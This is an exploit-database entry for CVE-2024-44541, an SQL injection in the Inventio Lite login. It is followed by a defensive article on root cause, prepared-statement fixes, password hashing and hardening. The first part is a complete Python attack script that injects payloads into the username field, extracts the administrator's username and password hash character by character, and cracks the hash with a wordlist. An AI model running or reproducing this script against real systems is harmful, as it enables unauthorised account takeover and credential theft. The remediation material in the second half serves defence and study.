Inventio Lite 4 - SQL Injection
# Exploit Title: Inventio Lite 4 - SQL Injection
Error Based SQLi in "username" parameter on "/?action=processlogin."
# Date: 08/21/2024
# Exploit Author: pointedsec
# Vendor Homepage: http://evilnapsis.com
# Software Link: https://github.com/evilnapsis/inventio-lite
# Version: < 4
# Tested on: Linux, Windows
# CVE : CVE-2024-44541
# This scripts exploit this vulnerability, extracting the hashes from database and tries to decrypt it.
# The passwords are hashed like this: $pass = sha1(md5($_POST['password']));
import requests
import signal
from pwn import *
BASE_URL = "http://192.168.1.51/inventio-lite/"
PWD_DIC_PATH = "/usr/share/wordlists/rockyou.txt"
LOGIN_ACTION = BASE_URL + "?action=processlogin"
# Handling Ctrl + C
def def_handler(x,y):
log.failure("Quitting...")
exit(1)
signal.signal(signal.SIGINT, def_handler)
def is_vulnerable():
log.info("Checking if target is vulnerable")
payload = {
"username": "\") \"",
"password": "\") \""
}
r = requests.post(LOGIN_ACTION, data=payload)
if (r.status_code != 200 or "Uncaught mysqli_sql_exception" in r.text):
return True
else:
return False
def get_administrator_hash(username):
prog_hash = log.progress("Extracting Admin Password Hash")
replace_payload = "\") or username LIKE '<USER>' or email LIKE '<USER>' and password LIKE '<STR>%' and is_admin=1 LIMIT 1-- -".replace("<USER>", username)
characters = "abcdefghijklmnopqrstuvwxyz0123456789" # SHA(MD5(PASSWORD)) so there are no symbols and no uppercases
admin_hash = ""
while True:
found_char = False
for char in characters:
payload = {
"username": replace_payload.replace("<STR>", admin_hash + char),
"password": "blablablbalbablalba123@"
}
try:
r = requests.post(LOGIN_ACTION, data=payload)
r.raise_for_status()
except requests.RequestException as e:
log.error(f"Request failed: {e}")
continue
if "<script>window.location='index.php?view=home';</script>" in r.text:
admin_hash += char
prog_hash.status("-> %s" % admin_hash)
found_char = True
break
if not found_char:
break
prog_hash.status("Final Admin Hash: %s" % admin_hash)
return admin_hash
def get_administrator_username():
prog_username = log.progress("Extracting Username")
replace_payload = "\") or username like '<STR>%' or email like '<STR>%' and is_admin=1 LIMIT 1-- -"
characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@."
username = ""
while True:
found_char = False
for char in characters:
payload = {
"username": replace_payload.replace("<STR>", username + char),
"password": "blablablablbalbla123@"
}
r = requests.post(LOGIN_ACTION, data=payload)
if "<script>window.location='index.php?view=home';</script>" in r.text:
username += char
prog_username.status("-> %s" % username)
found_char = True
break
if not found_char:
break
return username
def decrypt_password(admin_hash):
# Encryption is SHA1(MD5(PWD))
with open(PWD_DIC_PATH) as password_file:
for password in password_file:
password = password.strip()
md5_hash = hashlib.md5(password.encode()).hexdigest()
sha1_hash = hashlib.sha1(md5_hash.encode()).hexdigest()
if sha1_hash == admin_hash:
return password
log.error("Password not found in the dictionary.")
return None
if __name__ == "__main__":
# Check if target is vulnerable
if not is_vulnerable():
log.failure("Target not Vulnerable...")
exit(1)
log.success("Target Vulnerable!")
log.info("Dumping Administrator username...")
admin_username = get_administrator_username()
admin_hash = get_administrator_hash(admin_username)
pwd = decrypt_password(admin_hash)
log.success(f"Password Decrypted! -> {admin_username}:{pwd}")
log.info("Try to Log In with that username, if that doesn't work, try with some uppercase/lowercase combinations") Inventio Lite 4 — Error-Based SQL Injection (CVE-2024-44541)
This article explains the error-based SQL injection discovered in Inventio Lite versions < 4, reported as CVE-2024-44541. It covers the root cause, impact, safe detection principles, secure code fixes, and hardening recommendations — with practical, defensive code examples and secure alternatives for password storage.
Summary / Key facts
- Product: Inventio Lite (open-source CMS / inventory project)
- Vulnerability: Error-based SQL Injection in the "username" parameter of the login flow
- CVE: CVE-2024-44541
- Impact: Remote attackers can enumerate and leak database values (usernames, password hashes, etc.) when the login input is concatenated into SQL queries without proper sanitization or parameterization.
- Risk: High where authentication logic runs with database privileges or contains administrator filters.
How the vulnerability arises (root cause)
At a high level, error-based SQL injection happens when user input is concatenated into SQL statements and the database engine returns query results or error messages that reveal data. In many vulnerable login implementations the server builds a WHERE clause by directly inserting the username or email into the SQL string, sometimes combined with conditional logic (is_admin, email LIKE, username LIKE). When those inputs are not parameterized, an attacker can craft input that modifies the query logic — and, using database error messages or boolean responses, enumerate rows or leak content.
Typical vulnerable pattern (conceptual)
<?php
// Vulnerable pattern: concatenation of user input into SQL
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT id, username, password, is_admin FROM users WHERE (username LIKE '$username' OR email LIKE '$username') AND password LIKE '$password%' AND is_admin = 1 LIMIT 1";
$result = $mysqli->query($sql);
?>
Explanation: This snippet shows direct interpolation of $_POST values into an SQL string. Any special characters or SQL fragments in $username or $password will alter the query structure. That creates opportunities for injection and for database-driven responses to be manipulated.
Why error-based SQLi is particularly dangerous
- Error-based SQLi can directly return database content in error messages when queries trigger database errors (e.g., converting types, casting, or violating check constraints), providing immediate feedback to an attacker.
- Even where the application suppresses errors, an attacker can still use blind techniques (time-based / boolean) to extract data; error-based access accelerates this considerably.
- Login endpoints are high value — leaking admin usernames or password hashes can lead to account takeover or offline cracking attempts.
Safe detection and testing guidance (responsible use)
- Only test systems you own or have explicit authorization to test (lab, staging, or signed permission from the owner).
- Use non-destructive checks first: review source code; scan with authenticated and properly configured security scanners; audit input handling and database call sites.
- Prefer manual, minimal, and careful tests in an isolated environment rather than automated destructive payloads against production systems.
Corrective measures: code-level fixes
Fixing SQL injection requires three things: use parameterized queries (prepared statements), never concatenate raw user input into SQL, and limit database privileges for the application account.
1) Fix with prepared statements (MySQLi — example)
<?php
// Secure MySQLi prepared statement example
$stmt = $mysqli->prepare(
"SELECT id, username, password, is_admin
FROM users
WHERE (username = ? OR email = ?)
AND password = ?
AND is_admin = 1
LIMIT 1"
);
$loginInput = $_POST['username'];
$pwdInput = $_POST['password']; // should be hashed/compared securely as shown later
$stmt->bind_param("sss", $loginInput, $loginInput, $pwdInput);
$stmt->execute();
$result = $stmt->get_result();
?>
Explanation: Prepared statements keep SQL structure separate from data. Bound parameters are treated as data by the DB driver — no injection occurs even if the input contains SQL metacharacters.
2) Use PDO (recommended for flexibility)
<?php
// PDO prepared statement example
$pdo = new PDO('mysql:host=localhost;dbname=app', $user, $pass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);
$sql = "SELECT id, username, password, is_admin
FROM users
WHERE (username = :login OR email = :login)
AND is_admin = 1
LIMIT 1";
$stmt = $pdo->prepare($sql);
$stmt->execute([':login' => $_POST['username']]);
$userRow = $stmt->fetch(PDO::FETCH_ASSOC);
?>
Explanation: PDO prepared statements with named parameters reduce errors and are portable. Combine this approach with explicit error handling and avoid revealing detailed DB errors to the client.
Password storage: the hashing problem in Inventio Lite
The reported project used a double-hash construction: sha1(md5(password)). This is insecure for several reasons:
- MD5 and SHA-1 are fast, unsalted, and cryptographically broken for collision resistance; combining them does not add meaningful security against offline cracking.
- Fast hashing allows attackers to brute-force using GPUs; modern password storage should be slow and memory-hard to resist cracking (bcrypt, Argon2).
Correct approach: use password_hash() / password_verify() or Argon2
<?php
// Register: store password securely
$hash = password_hash($plainPassword, PASSWORD_DEFAULT); // uses bcrypt or Argon2 depending on PHP build
// Store $hash in DB
// Login: verify
if (password_verify($plainPasswordAttempt, $hashFromDb)) {
// authenticated
}
?>
Explanation: PHP's password_hash uses algorithms designed for password storage (configurable cost). It automatically applies salts and stores algorithm/cost metadata in the produced hash string for easy verification with password_verify.
Additional mitigations and best practices
- Least privilege: grant the DB user only necessary privileges (SELECT/INSERT/UPDATE on required tables). Avoid granting schema-altering or superuser privileges to the web application account.
- Error handling: do not output raw database error messages to clients. Log detailed errors server-side and show generic messages to users.
- Input validation & length checks: sanitize and constrain input lengths to reduce attack surface and prevent overly long payloads from impacting parsing or logs.
- Web Application Firewall (WAF): use WAF signatures to block common injection patterns as an additional layer (not a replacement for secure coding).
- Audit and code review: static analysis and manual review of all SQL interactions is essential, especially on authentication endpoints.
- Monitoring: alert on unusual login failure patterns or error volumes that might indicate automated enumeration attempts.
Hardening database and deployment
| Area | Recommendation |
|---|---|
| DB accounts | Create a dedicated, least-privilege user for the app; rotate credentials regularly. |
| Network | Restrict DB access to application servers, use private networks, and block public DB access. |
| Backups | Encrypt backups and limit access; ensure hashes are not shipped in cleartext logs or backups. |
| Logging | Log attempts and errors centrally; avoid logging raw passwords or sensitive tokens. |
Supply-chain / patch guidance for Inventio Lite
- Check the project's repository (https://github.com/evilnapsis/inventio-lite) for the fixed branch or tags that address CVE-2024-44541.
- Upgrade to version 4 or later where the login flow uses parameterized queries and improved password handling.
- If you maintain a fork or custom installation, apply the prepared-statement and password_hash changes to your codebase immediately and run regression tests.
Responsible disclosure and testing checklist
- Do not attempt exploitation on production systems without authorization.
- Use a private testing environment with copies of production data removed or sanitized.
- When you find a vulnerability, follow responsible disclosure: notify the vendor, provide reproduction steps, allow time for fixes, and coordinate public disclosure (if applicable).
- Document fixes and include test-cases (unit/integration tests) verifying prepared statements and password handling.
Example: safe remediation checklist (quick)
- Replace all concatenated SQL that uses user input with prepared statements.
- Migrate stored password hashes to password_hash() or Argon2 and require password resets if hashes are weak.
- Suppress detailed DB errors from end users; log them securely.
- Conduct code-review and static analysis for other SQL contexts (search, filters, admin panels).
- Harden DB user privileges and monitor for anomalous activity.
References
- CVE-2024-44541 — Inventio Lite < 4 error-based SQL injection (public advisory)
- Inventio Lite repository: https://github.com/evilnapsis/inventio-lite
- PHP password_hash / password_verify documentation (use for secure password storage)